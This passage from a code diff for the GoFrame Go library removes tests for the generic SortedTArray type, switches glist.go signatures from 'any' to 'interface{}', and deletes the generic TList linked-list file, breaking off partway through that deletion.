-func TestSortedTArray_SubSlice(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "b", "e"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		array2 := garray.NewSortedTArrayFrom(a1, nil, true)
-		i1 := array1.SubSlice(2, 3)
-		t.Assert(len(i1), 3)
-		t.Assert(i1, []string{"c", "d", "e"})
-
-		i1 = array1.SubSlice(2, 6)
-		t.Assert(len(i1), 3)
-		t.Assert(i1, []string{"c", "d", "e"})
-
-		i1 = array1.SubSlice(7, 2)
-		t.Assert(len(i1), 0)
-
-		s1 := array1.SubSlice(1, -2)
-		t.Assert(s1, nil)
-
-		s1 = array1.SubSlice(-9, 2)
-		t.Assert(s1, nil)
-		t.Assert(array2.SubSlice(1, 3), []string{"b", "c", "d"})
-
-	})
-}
-
-func TestSortedTArray_Rand(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		i1, ok := array1.Rand()
-		t.Assert(ok, true)
-		t.AssertIN(i1, []string{"a", "d", "c"})
-		t.Assert(array1.Len(), 3)
-
-		array2 := garray.NewSortedTArrayFrom([]string{}, nil)
-		v, ok := array2.Rand()
-		t.Assert(ok, false)
-		t.Assert(v, nil)
-	})
-}
-
-func TestSortedTArray_Rands(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		i1 := array1.Rands(2)
-		t.AssertIN(i1, []string{"a", "d", "c"})
-		t.Assert(len(i1), 2)
-		t.Assert(array1.Len(), 3)
-
-		i1 = array1.Rands(4)
-		t.Assert(len(i1), 4)
-
-		array2 := garray.NewSortedTArrayFrom([]string{}, nil)
-		v := array2.Rands(1)
-		t.Assert(v, nil)
-	})
-}
-
-func TestSortedTArray_Join(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c"}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		t.Assert(array1.Join(","), `a,c,d`)
-		t.Assert(array1.Join("."), `a.c.d`)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"0", "1", `"a"`, `\a`}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		t.Assert(array1.Join("."), `"a".0.1.\a`)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		t.Assert(array1.Join("."), "")
-	})
-}
-
-func TestSortedTArray_String(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"0", "1", "a", "b"}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		t.Assert(array1.String(), `[0,1,"a","b"]`)
-
-		array1 = nil
-		t.Assert(array1.String(), "")
-	})
-}
-
-func TestSortedTArray_CountValues(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []string{"a", "d", "c", "c"}
-
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		m1 := array1.CountValues()
-		t.Assert(len(m1), 3)
-		t.Assert(m1["c"], 2)
-		t.Assert(m1["a"], 1)
-
-	})
-}
-
-func TestSortedTArray_SetUnique(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []int{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		array1.SetUnique(true)
-		t.Assert(array1.Len(), 5)
-		t.Assert(array1, []int{1, 2, 3, 4, 5})
-	})
-}
-
-func TestSortedTArray_Unique(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []int{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
-		array1 := garray.NewSortedTArrayFrom(a1, nil)
-		array1.Unique()
-		t.Assert(array1.Len(), 5)
-		t.Assert(array1, []int{1, 2, 3, 4, 5})
-
-		array2 := garray.NewSortedTArrayFrom([]int{}, nil)
-		array2.Unique()
-		t.Assert(array2.Len(), 0)
-		t.Assert(array2, []int{})
-	})
-}
-
-func TestSortedTArray_LockFunc(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []string{"a", "b", "c", "d"}
-		a1 := garray.NewSortedTArrayFrom(s1, nil, true)
-
-		ch1 := make(chan int64, 3)
-		ch2 := make(chan int64, 3)
-		// go1
-		go a1.LockFunc(func(n1 []string) { // 读写锁
-			time.Sleep(2 * time.Second) // 暂停2秒
-			n1[2] = "g"
-			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		})
-
-		// go2
-		go func() {
-			time.Sleep(100 * time.Millisecond) // 故意暂停0.01秒,等go1执行锁后，再开始执行.
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-			a1.Len()
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		}()
-
-		t1 := <-ch1
-		t2 := <-ch1
-		<-ch2 // 等待go1完成
-
-		// 防止ci抖动,以豪秒为单位
-		t.AssertGT(t2-t1, 20) // go1加的读写互斥锁，所go2读的时候被阻塞。
-		t.Assert(a1.Contains("g"), true)
-	})
-}
-
-func TestSortedTArray_RLockFunc(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []string{"a", "b", "c", "d"}
-		a1 := garray.NewSortedTArrayFrom(s1, nil, true)
-
-		ch1 := make(chan int64, 3)
-		ch2 := make(chan int64, 3)
-		// go1
-		go a1.RLockFunc(func(n1 []string) { // 读写锁
-			time.Sleep(2 * time.Second) // 暂停2秒
-			n1[2] = "g"
-			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		})
-
-		// go2
-		go func() {
-			time.Sleep(100 * time.Millisecond) // 故意暂停0.01秒,等go1执行锁后，再开始执行.
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-			a1.Len()
-			ch1 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
-		}()
-
-		t1 := <-ch1
-		t2 := <-ch1
-		<-ch2 // 等待go1完成
-
-		// 防止ci抖动,以豪秒为单位
-		t.AssertLT(t2-t1, 20) // go1加的读锁，所go2读的时候不会被阻塞。
-		t.Assert(a1.Contains("g"), true)
-	})
-}
-
-func TestSortedTArray_Merge(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-
-		s1 := []string{"a", "b", "c", "d"}
-		s2 := []string{"e", "f"}
-		i1 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i2 := garray.NewArrayFrom([]any{3})
-		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedTArrayFrom([]int{4, 5}, nil)
-		s5 := garray.NewSortedStrArrayFrom(s2)
-		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
-
-		a1 := garray.NewSortedTArrayFrom(s1, nil)
-
-		t.Assert(a1.Merge(s2).Len(), 6)
-		t.Assert(a1.Merge(i1).Len(), 9)
-		t.Assert(a1.Merge(i2).Len(), 10)
-		t.Assert(a1.Merge(s3).Len(), 12)
-		t.Assert(a1.Merge(s4).Len(), 14)
-		t.Assert(a1.Merge(s5).Len(), 16)
-		t.Assert(a1.Merge(s6).Len(), 19)
-	})
-}
-
-func TestSortedTArray_Json(t *testing.T) {
-	// array pointer
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []string{"a", "b", "d", "c"}
-		s2 := []string{"a", "b", "c", "d"}
-		a1 := garray.NewSortedTArrayFrom(s1, nil)
-		b1, err1 := json.Marshal(a1)
-		b2, err2 := json.Marshal(s1)
-		t.Assert(b1, b2)
-		t.Assert(err1, err2)
-
-		a2 := garray.NewSortedTArray[string](nil)
-		err1 = json.UnmarshalUseNumber(b2, &a2)
-		t.AssertNil(err1)
-		t.Assert(a2.Slice(), s2)
-
-		var a3 garray.SortedTArray[string]
-		a3.SetComparator(nil)
-		err := json.UnmarshalUseNumber(b2, &a3)
-		t.AssertNil(err)
-		t.Assert(a3.Slice(), s1)
-		t.Assert(a3.Interfaces(), s1)
-	})
-	// array value
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []string{"a", "b", "d", "c"}
-		s2 := []string{"a", "b", "c", "d"}
-		a1 := garray.NewSortedTArrayFrom(s1, nil)
-		b1, err1 := json.Marshal(a1)
-		b2, err2 := json.Marshal(s1)
-		t.Assert(b1, b2)
-		t.Assert(err1, err2)
-
-		a2 := garray.NewSortedTArray[string](nil)
-		err1 = json.UnmarshalUseNumber(b2, &a2)
-		t.AssertNil(err1)
-		t.Assert(a2.Slice(), s2)
-
-		var a3 garray.SortedTArray[string]
-		a3.SetComparator(nil)
-		err := json.UnmarshalUseNumber(b2, &a3)
-		t.AssertNil(err)
-		t.Assert(a3.Slice(), s1)
-		t.Assert(a3.Interfaces(), s1)
-	})
-	// array pointer
-	gtest.C(t, func(t *gtest.T) {
-		type User struct {
-			Name   string
-			Scores *garray.SortedTArray[int]
-		}
-		data := g.Map{
-			"Name":   "john",
-			"Scores": []int{99, 100, 98},
-		}
-		b, err := json.Marshal(data)
-		t.AssertNil(err)
-
-		user := new(User)
-		err = json.UnmarshalUseNumber(b, user)
-		t.AssertNil(err)
-		t.Assert(user.Name, data["Name"])
-		t.AssertNE(user.Scores, nil)
-		t.Assert(user.Scores.Len(), 3)
-
-		v, ok := user.Scores.PopLeft()
-		t.AssertIN(v, data["Scores"])
-		t.Assert(ok, true)
-
-		v, ok = user.Scores.PopLeft()
-		t.AssertIN(v, data["Scores"])
-		t.Assert(ok, true)
-
-		v, ok = user.Scores.PopLeft()
-		t.AssertIN(v, data["Scores"])
-		t.Assert(ok, true)
-
-		v, ok = user.Scores.PopLeft()
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-	})
-	// array value
-	gtest.C(t, func(t *gtest.T) {
-		type User struct {
-			Name   string
-			Scores *garray.SortedTArray[int]
-		}
-		data := g.Map{
-			"Name":   "john",
-			"Scores": []int{99, 100, 98},
-		}
-		b, err := json.Marshal(data)
-		t.AssertNil(err)
-
-		user := new(User)
-		err = json.UnmarshalUseNumber(b, user)
-		t.AssertNil(err)
-		t.Assert(user.Name, data["Name"])
-		t.AssertNE(user.Scores, nil)
-		t.Assert(user.Scores.Len(), 3)
-
-		v, ok := user.Scores.PopLeft()
-		t.AssertIN(v, data["Scores"])
-		t.Assert(ok, true)
-
-		v, ok = user.Scores.PopLeft()
-		t.AssertIN(v, data["Scores"])
-		t.Assert(ok, true)
-
-		v, ok = user.Scores.PopLeft()
-		t.AssertIN(v, data["Scores"])
-		t.Assert(ok, true)
-
-		v, ok = user.Scores.PopLeft()
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-	})
-}
-
-func TestSortedTArray_Iterator(t *testing.T) {
-	slice := g.SliceStr{"a", "b", "d", "c"}
-	array := garray.NewSortedTArrayFrom(slice, nil)
-	gtest.C(t, func(t *gtest.T) {
-		array.Iterator(func(k int, v string) bool {
-			t.Assert(v, slice[k])
-			return true
-		})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array.IteratorAsc(func(k int, v string) bool {
-			t.Assert(v, slice[k])
-			return true
-		})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array.IteratorDesc(func(k int, v string) bool {
-			t.Assert(v, slice[k])
-			return true
-		})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		index := 0
-		array.Iterator(func(k int, v string) bool {
-			index++
-			return false
-		})
-		t.Assert(index, 1)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		index := 0
-		array.IteratorAsc(func(k int, v string) bool {
-			index++
-			return false
-		})
-		t.Assert(index, 1)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		index := 0
-		array.IteratorDesc(func(k int, v string) bool {
-			index++
-			return false
-		})
-		t.Assert(index, 1)
-	})
-}
-
-func TestSortedTArray_RemoveValue(t *testing.T) {
-	slice := g.SliceStr{"a", "b", "d", "c"}
-	array := garray.NewSortedTArrayFrom(slice, nil)
-	gtest.C(t, func(t *gtest.T) {
-		t.Assert(array.RemoveValue("e"), false)
-		t.Assert(array.RemoveValue("b"), true)
-		t.Assert(array.RemoveValue("a"), true)
-		t.Assert(array.RemoveValue("c"), true)
-		t.Assert(array.RemoveValue("f"), false)
-	})
-}
-
-func TestSortedTArray_RemoveValues(t *testing.T) {
-	slice := g.SliceStr{"a", "b", "d", "c"}
-	array := garray.NewSortedTArrayFrom(slice, nil)
-	gtest.C(t, func(t *gtest.T) {
-		array.RemoveValues("a", "b", "c")
-		t.Assert(array.Slice(), g.SliceStr{"d"})
-	})
-}
-
-func TestSortedTArray_UnmarshalValue(t *testing.T) {
-	type V struct {
-		Name  string
-		Array *garray.SortedTArray[int]
-	}
-	// JSON
-	gtest.C(t, func(t *gtest.T) {
-		var v *V
-		err := gconv.Struct(g.Map{
-			"name":  "john",
-			"array": []byte(`[2,3,1]`),
-		}, &v)
-		t.AssertNil(err)
-		t.Assert(v.Name, "john")
-		t.Assert(v.Array.Slice(), g.Slice{1, 2, 3})
-	})
-	// Map
-	gtest.C(t, func(t *gtest.T) {
-		var v *V
-		err := gconv.Struct(g.Map{
-			"name":  "john",
-			"array": g.SliceInt{2, 3, 1},
-		}, &v)
-		t.AssertNil(err)
-		t.Assert(v.Name, "john")
-		t.Assert(v.Array.Slice(), g.Slice{1, 2, 3})
-	})
-}
-func TestSortedTArray_Filter(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		values := g.SliceInt{0, 1, 2, 3, 4, -1, -2}
-		array := garray.NewSortedTArrayFromCopy(values, nil)
-		t.Assert(array.Filter(func(index int, value int) bool {
-			return value < 0
-		}).Slice(), g.Slice{0, 1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFromCopy(g.SliceInt{-1, 1, 2, 3, 4, -2}, nil)
-		t.Assert(array.Filter(func(index int, value int) bool {
-			return value < 0
-		}), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceInt{0, 1, 2, 3, 4, 0, 0}, nil)
-		t.Assert(array.Filter(func(index int, value int) bool {
-			return empty.IsEmpty(value)
-		}), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceInt{1, 2, 3, 4}, nil)
-		t.Assert(array.Filter(func(index int, value int) bool {
-			return empty.IsEmpty(value)
-		}), g.Slice{1, 2, 3, 4})
-	})
-}
-
-func TestSortedTArray_FilterNil(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		values := g.SliceInt{0, 1, 2, 3, 4, -1, -2}
-		array := garray.NewSortedTArrayFromCopy(values, gutil.ComparatorT)
-		t.Assert(array.FilterNil().Slice(), g.SliceInt{-2, -1, 0, 1, 2, 3, 4})
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		values := g.Slice{0, 1, 2, 3, 4, -1, -2, nil, []any{}, ""}
-		array := garray.NewSortedTArrayFromCopy(values, nil)
-		t.Assert(array.FilterNil().Slice(), g.Slice{"", -1, -2, 0, 1, 2, 3, 4, []any{}})
-	})
-}
-
-func TestSortedTArray_FilterEmpty(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceInt{0, 1, 2, 3, 4, 0, 0}, nil)
-		t.Assert(array.FilterEmpty(), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceInt{1, 2, 3, 4}, nil)
-		t.Assert(array.FilterEmpty(), g.Slice{1, 2, 3, 4})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceStr{"a", "", "b", "c", ""}, nil)
-		t.Assert(array.FilterEmpty(), g.Slice{"a", "b", "c"})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		values := g.Slice{0, 1, 2, 3, 4, -1, -2, nil, []any{}, ""}
-		array := garray.NewSortedTArrayFromCopy(values, nil)
-		t.Assert(array.FilterEmpty().Slice(), g.Slice{-1, -2, 1, 2, 3, 4})
-	})
-}
-
-func TestSortedTArray_Walk(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom(g.SliceStr{"1", "2"}, nil)
-		t.Assert(array.Walk(func(value string) string {
-			return "key-" + value
-		}), g.Slice{"key-1", "key-2"})
-	})
-}
-
-func TestSortedTArray_IsEmpty(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom([]string{}, nil)
-		t.Assert(array.IsEmpty(), true)
-	})
-}
-
-func TestSortedTArray_DeepCopy(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewSortedTArrayFrom([]int{1, 2, 3, 4, 5}, nil)
-		copyArray := array.DeepCopy().(*garray.SortedTArray[int])
-		array.Add(6)
-		copyArray.Add(7)
-		cval, _ := copyArray.Get(5)
-		val, _ := array.Get(5)
-		t.AssertNE(cval, val)
-	})
-}

container/glist/glist.go

@@ -41,7 +41,7 @@ func New(safe ...bool) *List {
 // NewFrom creates and returns a list from a copy of given slice `array`.
 // The parameter `safe` is used to specify whether using list in concurrent-safety,
 // which is false in default.
-func NewFrom(array []any, safe ...bool) *List {
+func NewFrom(array []interface{}, safe ...bool) *List {
 	l := list.New()
 	for _, v := range array {
 		l.PushBack(v)
@@ -53,7 +53,7 @@ func NewFrom(array []any, safe ...bool) *List {
 }
 
 // PushFront inserts a new element `e` with value `v` at the front of list `l` and returns `e`.
-func (l *List) PushFront(v any) (e *Element) {
+func (l *List) PushFront(v interface{}) (e *Element) {
 	l.mu.Lock()
 	if l.list == nil {
 		l.list = list.New()
@@ -64,7 +64,7 @@ func (l *List) PushFront(v any) (e *Element) {
 }
 
 // PushBack inserts a new element `e` with value `v` at the back of list `l` and returns `e`.
-func (l *List) PushBack(v any) (e *Element) {
+func (l *List) PushBack(v interface{}) (e *Element) {
 	l.mu.Lock()
 	if l.list == nil {
 		l.list = list.New()
@@ -75,7 +75,7 @@ func (l *List) PushBack(v any) (e *Element) {
 }
 
 // PushFronts inserts multiple new elements with values `values` at the front of list `l`.
-func (l *List) PushFronts(values []any) {
+func (l *List) PushFronts(values []interface{}) {
 	l.mu.Lock()
 	if l.list == nil {
 		l.list = list.New()
@@ -87,7 +87,7 @@ func (l *List) PushFronts(values []any) {
 }
 
 // PushBacks inserts multiple new elements with values `values` at the back of list `l`.
-func (l *List) PushBacks(values []any) {
+func (l *List) PushBacks(values []interface{}) {
 	l.mu.Lock()
 	if l.list == nil {
 		l.list = list.New()
@@ -99,7 +99,7 @@ func (l *List) PushBacks(values []any) {
 }
 
 // PopBack removes the element from back of `l` and returns the value of the element.
-func (l *List) PopBack() (value any) {
+func (l *List) PopBack() (value interface{}) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -113,7 +113,7 @@ func (l *List) PopBack() (value any) {
 }
 
 // PopFront removes the element from front of `l` and returns the value of the element.
-func (l *List) PopFront() (value any) {
+func (l *List) PopFront() (value interface{}) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -128,7 +128,7 @@ func (l *List) PopFront() (value any) {
 
 // PopBacks removes `max` elements from back of `l`
 // and returns values of the removed elements as slice.
-func (l *List) PopBacks(max int) (values []any) {
+func (l *List) PopBacks(max int) (values []interface{}) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -140,7 +140,7 @@ func (l *List) PopBacks(max int) (values []any) {
 		if max > 0 && max < length {
 			length = max
 		}
-		values = make([]any, length)
+		values = make([]interface{}, length)
 		for i := 0; i < length; i++ {
 			values[i] = l.list.Remove(l.list.Back())
 		}
@@ -150,7 +150,7 @@ func (l *List) PopBacks(max int) (values []any) {
 
 // PopFronts removes `max` elements from front of `l`
 // and returns values of the removed elements as slice.
-func (l *List) PopFronts(max int) (values []any) {
+func (l *List) PopFronts(max int) (values []interface{}) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -162,7 +162,7 @@ func (l *List) PopFronts(max int) (values []any) {
 		if max > 0 && max < length {
 			length = max
 		}
-		values = make([]any, length)
+		values = make([]interface{}, length)
 		for i := 0; i < length; i++ {
 			values[i] = l.list.Remove(l.list.Front())
 		}
@@ -172,18 +172,18 @@ func (l *List) PopFronts(max int) (values []any) {
 
 // PopBackAll removes all elements from back of `l`
 // and returns values of the removed elements as slice.
-func (l *List) PopBackAll() []any {
+func (l *List) PopBackAll() []interface{} {
 	return l.PopBacks(-1)
 }
 
 // PopFrontAll removes all elements from front of `l`
 // and returns values of the removed elements as slice.
-func (l *List) PopFrontAll() []any {
+func (l *List) PopFrontAll() []interface{} {
 	return l.PopFronts(-1)
 }
 
 // FrontAll copies and returns values of all elements from front of `l` as slice.
-func (l *List) FrontAll() (values []any) {
+func (l *List) FrontAll() (values []interface{}) {
 	l.mu.RLock()
 	defer l.mu.RUnlock()
 	if l.list == nil {
@@ -191,7 +191,7 @@ func (l *List) FrontAll() (values []any) {
 	}
 	length := l.list.Len()
 	if length > 0 {
-		values = make([]any, length)
+		values = make([]interface{}, length)
 		for i, e := 0, l.list.Front(); i < length; i, e = i+1, e.Next() {
 			values[i] = e.Value
 		}
@@ -200,7 +200,7 @@ func (l *List) FrontAll() (values []any) {
 }
 
 // BackAll copies and returns values of all elements from back of `l` as slice.
-func (l *List) BackAll() (values []any) {
+func (l *List) BackAll() (values []interface{}) {
 	l.mu.RLock()
 	defer l.mu.RUnlock()
 	if l.list == nil {
@@ -208,7 +208,7 @@ func (l *List) BackAll() (values []any) {
 	}
 	length := l.list.Len()
 	if length > 0 {
-		values = make([]any, length)
+		values = make([]interface{}, length)
 		for i, e := 0, l.list.Back(); i < length; i, e = i+1, e.Prev() {
 			values[i] = e.Value
 		}
@@ -217,7 +217,7 @@ func (l *List) BackAll() (values []any) {
 }
 
 // FrontValue returns value of the first element of `l` or nil if the list is empty.
-func (l *List) FrontValue() (value any) {
+func (l *List) FrontValue() (value interface{}) {
 	l.mu.RLock()
 	defer l.mu.RUnlock()
 	if l.list == nil {
@@ -230,7 +230,7 @@ func (l *List) FrontValue() (value any) {
 }
 
 // BackValue returns value of the last element of `l` or nil if the list is empty.
-func (l *List) BackValue() (value any) {
+func (l *List) BackValue() (value interface{}) {
 	l.mu.RLock()
 	defer l.mu.RUnlock()
 	if l.list == nil {
@@ -362,7 +362,7 @@ func (l *List) PushFrontList(other *List) {
 // InsertAfter inserts a new element `e` with value `v` immediately after `p` and returns `e`.
 // If `p` is not an element of `l`, the list is not modified.
 // The `p` must not be nil.
-func (l *List) InsertAfter(p *Element, v any) (e *Element) {
+func (l *List) InsertAfter(p *Element, v interface{}) (e *Element) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -375,7 +375,7 @@ func (l *List) InsertAfter(p *Element, v any) (e *Element) {
 // InsertBefore inserts a new element `e` with value `v` immediately before `p` and returns `e`.
 // If `p` is not an element of `l`, the list is not modified.
 // The `p` must not be nil.
-func (l *List) InsertBefore(p *Element, v any) (e *Element) {
+func (l *List) InsertBefore(p *Element, v interface{}) (e *Element) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -388,7 +388,7 @@ func (l *List) InsertBefore(p *Element, v any) (e *Element) {
 // Remove removes `e` from `l` if `e` is an element of list `l`.
 // It returns the element value e.Value.
 // The element must not be nil.
-func (l *List) Remove(e *Element) (value any) {
+func (l *List) Remove(e *Element) (value interface{}) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
@@ -522,7 +522,7 @@ func (l *List) UnmarshalJSON(b []byte) error {
 	if l.list == nil {
 		l.list = list.New()
 	}
-	var array []any
+	var array []interface{}
 	if err := json.UnmarshalUseNumber(b, &array); err != nil {
 		return err
 	}
@@ -531,13 +531,13 @@ func (l *List) UnmarshalJSON(b []byte) error {
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for list.
-func (l *List) UnmarshalValue(value any) (err error) {
+func (l *List) UnmarshalValue(value interface{}) (err error) {
 	l.mu.Lock()
 	defer l.mu.Unlock()
 	if l.list == nil {
 		l.list = list.New()
 	}
-	var array []any
+	var array []interface{}
 	switch value.(type) {
 	case string, []byte:
 		err = json.UnmarshalUseNumber(gconv.Bytes(value), &array)
@@ -549,7 +549,7 @@ func (l *List) UnmarshalValue(value any) (err error) {
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (l *List) DeepCopy() any {
+func (l *List) DeepCopy() interface{} {
 	if l == nil {
 		return nil
 	}
@@ -562,7 +562,7 @@ func (l *List) DeepCopy() any {
 	}
 	var (
 		length = l.list.Len()
-		values = make([]any, length)
+		values = make([]interface{}, length)
 	)
 	if length > 0 {
 		for i, e := 0, l.list.Front(); i < length; i, e = i+1, e.Next() {

container/glist/glist_t.go

@@ -1,721 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-//
-
-package glist
-
-import (
-	"bytes"
-	"container/list"
-
-	"github.com/gogf/gf/v2/internal/deepcopy"
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/internal/rwmutex"
-	"github.com/gogf/gf/v2/util/gconv"
-)
-
-// TElement is an element of a linked list.
-type TElement[T any] struct {
-	// Next and previous pointers in the doubly-linked list of elements.
-	// To simplify the implementation, internally a list l is implemented
-	// as a ring, such that &l.root is both the next element of the last
-	// list element (l.Back()) and the previous element of the first list
-	// element (l.Front()).
-	next, prev *TElement[T]
-
-	// The list to which this element belongs.
-	list *TList[T]
-
-	// The value stored with this element.
-	Value T
-}
-
-// Next returns the next list element or nil.
-func (e *TElement[T]) Next() *TElement[T] {
-	if p := e.next; e.list != nil && p != &e.list.root {
-		return p
-	}
-	return nil
-}
-
-// Prev returns the previous list element or nil.
-func (e *TElement[T]) Prev() *TElement[T] {
-	if p := e.prev; e.list != nil && p != &e.list.root {
-		return p
-	}
-	return nil
-}
-
-// TList is a doubly linked list containing a concurrent-safe/unsafe switch.
-// The switch should be set when its initialization and cannot be changed then.
-
-type TList[T any] struct {
-	mu   rwmutex.RWMutex
-	root TElement[T] // sentinel list element, only &root, root.prev, and root.next are used
-	len  int         // current list length excluding (this) sentinel element
-}
-
-// NewT creates and returns a new empty doubly linked list.
-func NewT[T any](safe ...bool) *TList[T] {
-	l := &TList[T]{
-		mu: rwmutex.Create(safe...),
-	}
-	return l.init()
-}
-
-// NewTFrom creates and returns a list from a copy of given slice `array`.
-// The parameter `safe` is used to specify whether using list in concurrent-safety,
-// which is false in default.
-func NewTFrom[T any](array []T, safe ...bool) *TList[T] {
-	l := NewT[T](safe...)
-	for _, v := range array {
-		l.insertValue(v, l.root.prev)
-	}
-	return l
-}
-
-// PushFront inserts a new element `e` with value `v` at the front of list `l` and returns `e`.
-func (l *TList[T]) PushFront(v T) (e *TElement[T]) {
-	l.mu.Lock()
-	l.lazyInit()
-	e = l.insertValue(v, &l.root)
-	l.mu.Unlock()
-	return
-}
-
-// PushBack inserts a new element `e` with value `v` at the back of list `l` and returns `e`.
-func (l *TList[T]) PushBack(v T) (e *TElement[T]) {
-	l.mu.Lock()
-	l.lazyInit()
-	e = l.insertValue(v, l.root.prev)
-	l.mu.Unlock()
-	return
-}
-
-// PushFronts inserts multiple new elements with values `values` at the front of list `l`.
-func (l *TList[T]) PushFronts(values []T) {
-	l.mu.Lock()
-	l.lazyInit()
-	for _, v := range values {
-		l.insertValue(v, &l.root)
-	}
-	l.mu.Unlock()
-}
-
-// PushBacks inserts multiple new elements with values `values` at the back of list `l`.
-func (l *TList[T]) PushBacks(values []T) {
-	l.mu.Lock()
-	l.lazyInit()
-	for _, v := range values {
-		l.insertValue(v, l.root.prev)
-	}
-	l.mu.Unlock()
-}
-
-// PopBack removes the element from back of `l` and returns the value of the element.
-func (l *TList[T]) PopBack() (value T) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-	if l.len == 0 {
-		return
-	}
-	return l.remove(l.root.prev)
-}
-
-// PopFront removes the element from front of `l` and returns the value of the element.
-func (l *TList[T]) PopFront() (value T) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-	if l.len == 0 {
-		return
-	}
-	return l.remove(l.root.next)
-}
-
-// PopBacks removes `max` elements from back of `l`
-// and returns values of the removed elements as slice.
-func (l *TList[T]) PopBacks(max int) (values []T) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-
-	length := l.len
-	if length > 0 {
-		if max > 0 && max < length {
-			length = max
-		}
-		values = make([]T, length)
-		for i := 0; i < length; i++ {
-			values[i] = l.remove(l.root.prev)
-		}
-	}
-	return
-}
-
-// PopFronts removes `max` elements from front of `l`
-// and returns values of the removed elements as slice.
-func (l *TList[T]) PopFronts(max int) (values []T) {
-	l.mu.Lock()
-	defer l.mu.Unlock()
-	l.lazyInit()
-
-	length := l.len
-	if length > 0 {
-		if max > 0 && max < length {
-			length = max
-		}
-		values = make([]T, length)
-		for i := 0; i < length; i++ {
-			values[i] = l.remove(l.root.next)
-		}
-	}
-	return
-}
-
-// PopBackAll removes all elements from back of `l`
-// and returns values of the removed elements as slice.
-func (l *TList[T]) PopBackAll() []T {
-	return l.PopBacks(-1)
-}
-
-// PopFrontAll removes all elements from front of `l`
